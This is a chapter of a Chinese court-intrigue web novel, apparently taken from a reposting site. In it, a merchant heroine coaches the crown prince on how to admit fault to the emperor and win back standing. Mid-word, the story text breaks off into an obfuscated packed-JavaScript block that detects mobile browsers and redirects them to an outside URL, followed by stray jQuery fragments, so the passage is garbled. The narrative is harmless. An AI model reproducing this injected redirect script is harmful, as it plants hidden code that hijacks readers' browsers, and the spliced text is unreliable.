42. 锦囊妙计

作品:《我当皇帝是为了你们好

    “谢侍郎,来这儿。”刑部尚书赵大人热情地招呼。


    谢青衍和几位上官见礼,长随从食盒中取出饭食一一摆好,菜式丰盛,明显不是公中膳堂的手艺。


    谢青衍经历过昨日那一遭,午膳再不敢草草打发,特意让家中准备好膳食送到衙门,姜元序是个看脸的,他得尽快恢复以前的样子。


    前往宁远郡的钦差不日便要归来,许多案件文书已经送到京城,阁臣们都盯着刑部尽快结案,不仅谢青衍忙的脚不沾地,李凡玉和谢维更是喘口气的时间都没有,饭桌上都在议事。


    谢青衍埋头吃饭,一会儿功夫碗碟空了一半,一直注意着的赵尚书朝谢维使了个眼色,促狭道:“到底是年轻人。”


    一群白胡子老头方才发觉这里有个认真吃饭的年轻人,齐声失笑,绷紧的心弦松了一刻,公事再急,饭不可废,纷纷拿起筷子。


    谢维惊讶于谢青衍的好胃口,也没多想,只觉得孩子大概是真饿了,又从自己的膳食里给他拨了些,谢青衍面不改色地全吃了。


    李凡玉嫌弃地撇了撇嘴,铜矿案的内情一个字不肯露,吃饭的嘴倒是张得欢。


    今早谢维说姜元序要和太子一道投资宁远郡,他就是再蠢也该回过味了,太子能清清白白脱身,姜元序肯定出力不少,他险些真信了姜元序说的口碑。


    午膳后,李凡玉逮着空悄声问谢青衍:“你要重审案件的事,她怎么说?”


    谢青衍掩口低语:“她说,太子很好忽悠。”


    李凡玉嘴角隐隐抽搐,觑着谢青衍欲言又止,谢青衍目光坦然,郑重一点头,李凡玉神色复杂地撇开头,他真是多余操心。


    当天下午,谢青衍请求重审的折子批复下来,几件事堆在一处,谢青衍桌上的卷宗堆积如山,昼夜不得歇。


    姜元序同样不得闲,她不止今越一个担子,粮食商会虽交给了她爹,但许多事务还是需要经过她的手。


    就如李凡玉所说,宁远郡的粮商都不是善茬,嚣张这么多年,自是因为身后有倚仗,即使她有周家军的军粮供应资格,也免不得一番较量。


    宁远郡的主事冯书同深谙此道,价格战、舆论战轮番上演,粮商们迫不得已寻求背后靠山,冯书同刚开始还费心与他们周旋,后来得了姜元序的准信,直接放开手段全力倾轧。


    官场一朝肃清,一批粮商破产,剩下的粮商开始夹着尾巴做人,江州粮食商会彻底在宁远郡扎根。


    姜元序收到冯书同的传信,汇报许安宁的训练进度,前些日子着重实战训练,之后是隆冬,不便外出,案头之学便要提上日程,争取在明年春季让她成为一名合格的士兵。


    千程则夸许安宁是天生将才,前些年让她做生意真是屈才了,这会儿才走上正道。和许安宁一起训练的还有十几人,之后一道送过去,她毕竟是个姑娘,在军营多有不便,需要有人打配合遮掩。


    许安宁抱怨冯书同和千程简直是三更索命的阎王,她小时候跟着姜元序习武,姜元序严苛但至少还是活人手段,那两人完全把她当兵器,千锤百炼,她如今强得比霸王枪还霸王。


    她让姜元序不要担心,她到宁远郡跟回了自己老家一样,一点不适应没有,简直天高任鸟飞,她这般山一样的女子,就该驰骋疆场。


    姜元序蓦然生出一股“吾家有女初长成,力拔山兮气盖世”的感慨,她开始着手准备许安宁的假身份,无人在意一个小兵的身份,但若有一天她以军功封官,这个假身份必须经得住朝廷里里外外的盘查,家人、族亲、成长经历……缺一不可。


    谢青衍重新审案到底还是波及到了姜元序,太子遣人送产业明细时,附带了一封看似言辞平和实则咬牙切齿的谴责信。


    话里话外,无外乎是他退让到此等地步,江州之事尽数揭过,谢礼如数奉上,谢青衍还咬着他不放,不合适吧?


    姜元序当场写好回信,交给送信的侍从带回,太子拿着信封来来回回找了好几遍,方才确认姜元序真的只给他回了四个字。


    白纸黑字的“关我何事”,仿佛两个耳光抽在他脸上,被人指着鼻子当面说年纪大的气闷感再次袭来,血液唰唰往脑袋涌去,眼前一阵黑一阵白。


    他抓起笔,越写越急,恨不得把所有的怒气发作在纸上,甚至等不得明天,连夜将信送去今越。


    姜元序刚踏上马车,就被太子的侍从拦住去路,侍从义正言辞地让她必须今天看信马上回信,否则别想回去!


    姜元序从不受威胁,当场把信丢回去,让人把太子送来的产业明细找出来,一道丢了,侍从大惊失色,威胁之语脱口而出,寒光一闪,百凌的长剑直指咽喉,侍从剩下的半截话生生咽了下去。


    侍从回东宫复命,仿佛被抽干了力气,打着摆子,伏在地上等候太子发落。


    太子果然怒不可遏,一脚将人踹出去,厉声大呵:“你算个什么东西!孤低声下气求着人家,你个蠢物竟将人开罪了!谁借你的胆子,摆谱摆到孤的头上!”


    侍从垂着脖颈不敢辩解,他平日仗着太子的宠信,嚣张惯了,头一次碰上硬钉子,当即扎了个头破血流。


    发落完侍从,太子捧着原模原样的文书和信件,想起小舅的告诫,姜元序性子傲,万事要软着来,只好把原来隐约透露着威胁的信件撕毁。


    翌日,太子新遣的侍从从清早等到午时,依旧没能进今越投资的大门,只好托今越银行的伙计将歉礼和信件转交。


    姜元序不意外又收到一盒子金锭,新的信件言辞恳切地为失礼一事致歉,希望不要因为一个是非不明的蠢物耽误他们的合作,又条理分明地阐述了谢青衍对他造成的麻烦,夹杂着对谢青衍低劣人品的鄙夷。


    姜元序提笔回信,歉礼已经收到,她自然不会得理不饶人,合作可以继续,但让她劝诫谢侍郎一事,实属可笑,朝政之事岂是男女私情能左右的?更何况她与谢侍郎并无婚约,如何能行劝导之责?


    太子收到回信,隐隐有被说服,若由姜元序去跟谢青衍讲情,两人的界限便会被打破,而姜元序是个极其功利之人,她舍不下谢青衍带来的利益,又不愿意在一颗树上吊死,选择不远不近地将人吊着才是最有利的做法。


    此次重审的案件不是什么惊天大案,于他最多是名声有碍,可如今他最缺的便是名声,他当了二十年的太子,明面上大家赞他性情端方,背地里嘲他资质驽钝,谢青衍的做法无异于杀人诛心。


    他斟酌许久,寻了个空到今越见姜元序,捧着一大盒金锭请人出主意。


    姜元序议事被打断,本就有气,看在金锭的面上,耐着性子询问:“此次案件是谢侍郎混淆证据污蔑殿下,还是确有其事?”


    太子唇角下压,不置一言,姜元序得到答案,便道:“既是确有其事,殿下何不利用此次之错,扭转一下此前失去的人心?”


    太子眸光一亮,“如何利用?还请姜姑娘赐教。”


    姜元序没空绕弯子,开门见山道:“谢侍郎要审,就让他审出个公正严明的结果,殿下行事有偏颇之处,那就认,认出个‘闻过则改,不失为明’的名声。”


    太子皱眉,“认错容易,名声如何得?”


    姜元序不耐地翻个白眼,语气不善:“认错自然要讲究方式方法,公然上个请罪的折子,谁不知道你在作秀?”


    “你是太子,不要学那套哭着认错,笑着甩锅的小人做派,恰恰相反,你要做的不是推责,而是揽责。”


    姜元序拿过纸笔,一步一步给他阐明:“首先,你私下去找陛下,挑一件小事……”


    太子揣着厚厚一叠“锦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211539|197420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    囊妙计”,振奋不已,庆幸自己走了这一趟,遇到姜元序之前,他简直在瞎认错。


    当晚,他去给当今皇帝元越请安,顺势留下一道用膳,做足了孝子的姿态。


    皇帝摒退左右,殿中只留下贴身太监德顺,冷声道:“吞吞吐吐一晚上了,太子究竟有何事。”


    元乾拉下脸,露出一个苦笑,“儿子幼时打骂下人,父皇知晓后,亲自惩戒,板子打在手心,要儿子牢记勿以恶小而为之。如今儿子身为太子,屡次犯下大错,父皇为何不闻不问?”


    皇帝冷硬的眼神软了一瞬,元乾垂下眼睛,声音哽咽:“儿子天资愚钝,许多事一知半解,行事多仰仗身边人,这些年顺风顺水地过来,竟未发觉自己早已失了人心。”


    “父皇也对儿子失望了,不愿再像幼时那般悉心教导,纠正儿子的错处,反倒任由儿子胡作非为,成了众矢之的。”


    元乾不禁潸然泪下,他虽有做戏的成分,但更多的是真情流露,下午听姜元序点出关窍,他才恍然间发现,所有人都在等他犯下大错,好顺理成章地废了他,包括他的父皇。


    皇帝看着已过而立的儿子痛哭流涕,心中百般不是滋味,不自觉软了态度。


    他原以为,元乾会和以往一样,向他哭诉自己处境不易,推卸自己行事不端的责任,求他平息朝堂的不满之声,不成想,他这次竟像是真的认识到了自己的错处。


    他叹了一口气,抬手揽住元乾的肩膀拍了拍,“乾儿,你是朕的第一个孩子,更是景朝的太子,朕如何会对你不闻不问。”


    “你幼时由朕一手教导,可自你四弟出生后,你便与朕离了心,无论朕如何向你保证,不会偏袒你四弟,你依旧不信,每次朕对你稍有责备,你便觉得是朕故意寻你的错处,好给你四弟铺路。”


    “朕对你寄予厚望,眼看着你亲近周家,行事愈发没个顾忌,甚至帮着周家对付朕,叫朕如何能不寒心。”


    元乾又惊又怕,下意识想反驳,又记起姜元序的叮嘱,不能保证自己的话一定不会出错的时候,索性什么都不要说,直接装可怜。


    他咽下所有推卸之词,伏到皇帝肩头,情真意切地喊了声:“父皇……”


    哪有父亲不会原谅儿子的,皇帝对元乾失望,更多的是恨铁不成钢,他是父亲,更是皇帝,当父亲的可以纵容自己儿子,皇帝却不能纵容太子。


    元越不是个有雄才伟略的皇帝,但也不失为一代明君,唯一一次独断专行,便是成全自己的私心,迎贵妃入宫。因为此事,一手教导他的老师与他离心,他一手教导的儿子与他渐行渐远。


    悔吗?悔的。


    他后悔当初为何不能等一等,等老师回来,和他商议一个万全之策,或者等几年,等彻底压下周家之势。一步踏错,成了如今这个局面。


    他问元乾:“你既意识到自己有错,可曾想过补救的办法?”


    元乾拭净眼泪,按姜元序教他的说辞,将之后的打算一一说与皇帝听。


    皇帝连连称赞,“知错能改善莫大焉,乾儿,你终于懂得承担责任,而不是把所有的错都推到旁人头上,朕真的很欣慰。”


    “你是太子,享天下人供养,整个天下都是你的责任,你治下的任何一个人出了错,都是你的错,你有责任去纠正、去弥补。权力和责任是相互的,你想要多少权,就得担多少责。”


    元乾心潮翻涌,又被姜元序料中了,她说只要闹到明面上,百姓拉不出屎,太子都有责任去解决,不是真要太子去掏粪,而是要让天下人看看,太子能担责。


    元乾恍恍惚惚离开,皇帝目光一凛,示意德顺:“去查查,太子身边出现了什么人。”


    太子不是个聪明的,他一向清楚,今日这一手,靠太子自己,再有三十年也想不到。